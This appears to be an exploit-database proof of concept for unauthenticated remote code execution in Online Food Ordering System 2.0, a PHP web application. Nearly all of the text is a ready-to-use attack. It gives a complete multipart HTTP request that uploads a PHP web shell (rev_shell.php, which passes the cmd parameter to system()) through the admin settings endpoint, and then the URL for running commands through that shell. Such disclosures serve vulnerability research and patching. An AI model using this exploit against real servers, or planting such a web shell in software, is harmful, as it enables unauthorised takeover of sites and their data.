Online Food Ordering System 2.0 Shell Upload Vulnerability

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Hakan Sonay
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code
# Version: 2.0 
# Tested on: Windows 10 / XAMPP


############## Unauthenticated File Upload Request ##############


POST /fos/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------19276025152284567381240485635
Content-Length: 831
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=site_settings
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------19276025152284567381240485635
Content-Disposition: form-data; name="name"

Online Food Ordering System V2
-----------------------------19276025152284567381240485635
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------19276025152284567381240485635
Content-Disposition: form-data; name="contact"

+6948 8542 623
-----------------------------19276025152284567381240485635
Content-Disposition: form-data; name="about"

<p>shell command:</p><p>/assets/img/<file_name>.php?cmd=whoami</p>
-----------------------------19276025152284567381240485635
Content-Disposition: form-data; name="img"; filename="rev_shell.php"
Content-Type: text/php

<?php 
echo system($_GET['cmd']);
?>



-----------------------------19276025152284567381240485635--


############## Command Execution Request ##############

http://localhost/fos/assets/img/****rev_shell.php?cmd=[Payload]